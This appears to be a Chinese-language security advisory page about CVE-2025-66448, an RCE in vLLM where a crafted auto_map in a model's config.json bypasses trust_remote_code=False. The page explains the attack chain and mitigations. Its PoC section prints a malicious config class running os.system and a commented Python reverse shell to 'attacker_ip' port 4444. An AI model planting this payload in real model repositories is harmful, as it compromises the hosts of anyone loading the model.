IPBUF安全漏洞报告
English
CVE-2025-66448 CVSS 7.1 高危

CVE-2025-66448: vLLM远程代码执行漏洞(高危)

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-66448
漏洞类型
远程代码执行(RCE)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
vLLM

相关标签

CVE-2025-66448vLLM远程代码执行RCEauto_maptrust_remote_code绕过模型加载漏洞高危漏洞大型语言模型安全

漏洞概述

CVE-2025-66448是vLLM(大型语言模型推理和服务引擎)中的一个严重安全漏洞,CVSS评分7.1,属于高危级别。该漏洞存在于vLLM 0.11.1之前的版本中,攻击者可通过恶意构造的模型配置文件实现远程代码执行。漏洞的核心问题在于vLLM的Nemotron_Nano_VL_Config配置类在处理包含auto_map条目的模型配置时,会调用get_class_from_dynamic_module()函数动态加载并立即实例化远程仓库中的Python代码。更为严重的是,即使调用者在get_config函数中明确设置trust_remote_code=False参数,此漏洞仍可被触发,因为trust_remote_code的安全检查在auto_map解析流程中被绕过。攻击者可以构造一个表面看似正常的前端模型仓库,其config.json通过auto_map字段指向攻击者控制的恶意后端仓库,当受害者加载该模型时,恶意代码会在其主机上静默执行。此漏洞已于vLLM 0.11.1版本中修复。

技术细节

该漏洞的技术原理涉及vLLM的模型配置加载机制。当vLLM加载模型配置时,如果config.json中存在auto_map字段,系统会调用transformers库的get_class_from_dynamic_module()函数来解析映射关系。问题出在Nemotron_Nano_VL_Config类中,该类在实例化时会自动处理auto_map条目,并立即执行get_class_from_dynamic_module()返回的类构造函数。这个过程发生在trust_remote_code检查之前,导致即使用户明确设置trust_remote_code=False,也无法阻止恶意代码的执行。攻击者利用此漏洞的方式是:创建一个包含恶意auto_map条目的模型配置文件,该条目指向攻击者控制的远程仓库中的Python模块。当受害者使用vLLM加载这个模型时,系统会自动下载并执行远程仓库中的__init__.py或其他Python文件,从而在受害者主机上执行任意代码。这种攻击方式特别危险,因为受害者可能只是尝试加载一个看似正常的开源模型,而不会意识到背后正在执行恶意代码。

攻击链分析

STEP 1
步骤1
攻击者创建恶意后端仓库:在远程仓库中放置包含恶意Python代码的config模块(如MaliciousConfig类),该代码在被加载时执行任意命令或建立反向shell连接
STEP 2
步骤2
攻击者创建表面良性的前端仓库:构造一个看似正常的模型仓库,在config.json中添加auto_map字段,指向步骤1中的恶意后端仓库路径
STEP 3
步骤3
受害者使用vLLM加载模型:受害者在使用vLLM加载该模型时,即使明确设置trust_remote_code=False参数
STEP 4
步骤4
漏洞触发:vLLM的Nemotron_Nano_VL_Config类在初始化时解析auto_map,调用get_class_from_dynamic_module()从远程仓库获取恶意类并立即实例化
STEP 5
步骤5
代码执行:恶意Python代码在受害者主机上执行,可能导致数据泄露、系统被完全控制或其他严重后果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66448 PoC - Malicious Model Repository # Attacker creates a malicious model with auto_map in config.json { "model_type": "nemotron_nano_vl", "auto_map": { "AutoConfig": "malicious_repo.config.MaliciousConfig" } } # malicious_repo/config.py class MaliciousConfig: def __init__(self): import os # Execute arbitrary commands os.system('whoami > /tmp/pwned.txt') # Or reverse shell # import socket,subprocess,os # s=socket.socket() # s.connect(("attacker_ip",4444)) # os.dup2(s.fileno(),0) # os.dup2(s.fileno(),1) # os.dup2(s.fileno(),2) # subprocess.call(["/bin/sh","-i"]) pass # Victim code (even with trust_remote_code=False) from vllm.transformers_utils.config import get_config config = get_config(model_path, trust_remote_code=False) # Bypassed!

影响范围

vLLM < 0.11.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)避免从不可信来源加载vLLM模型,特别是包含auto_map配置的模型;2)使用防火墙规则限制vLLM实例的网络出站连接;3)监控模型加载过程中的异常网络请求;4)对模型配置文件进行人工审核,检查是否存在可疑的auto_map条目;5)考虑使用AppArmor或SELinux等强制访问控制工具限制vLLM进程的权限。建议尽快升级到vLLM 0.11.1或更高版本以彻底消除该安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表